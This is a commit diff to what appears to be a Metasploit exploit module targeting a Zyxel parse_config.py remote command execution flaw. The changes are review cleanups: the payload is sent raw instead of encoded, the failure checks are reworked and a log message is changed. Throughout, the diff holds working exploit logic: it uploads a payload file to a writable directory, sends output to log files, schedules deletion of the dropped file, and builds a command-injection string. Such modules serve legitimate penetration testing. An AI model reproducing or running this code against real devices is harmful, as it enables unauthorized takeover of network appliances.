Apply suggestions from code review

Co-authored-by: Spencer McIntyre <[email protected]>

Author: jheysel-r7

modules/exploits/linux/http/zyxel_parse_config_rce.rb

@@ -107,7 +107,7 @@ def exploit
     filename = rand_text_alpha(1)
     payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
 
-    command = payload.encoded
+    command = payload.raw
     command += <<~CMD
       2>/var/log/ztplog 1>/var/log/ztplog
       (sleep 10 && /bin/rm -rf #{payload_filepath}) &
@@ -127,9 +127,12 @@ def exploit
       'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
       'data' => data.to_s
     })
-    fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
+    unless file_write_res && !file_write_res.body.include?('ParseError: 0xC0DE0005')
+      fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')
+    end
+
     register_files_for_cleanup(payload_filepath)
-    print_good('File write was successful.')
+    print_good("File write was successful, uploaded: #{payload_filepath}")
 
     cmd_injection_pload = "option proto gre\n"
     cmd_injection_pload += "option name 0\n"
@@ -147,6 +150,8 @@ def exploit
       'data' => data.to_s
     })
 
-    fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
+    unless cmd_injection_res && !cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
+      fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') 
+    end
   end
 end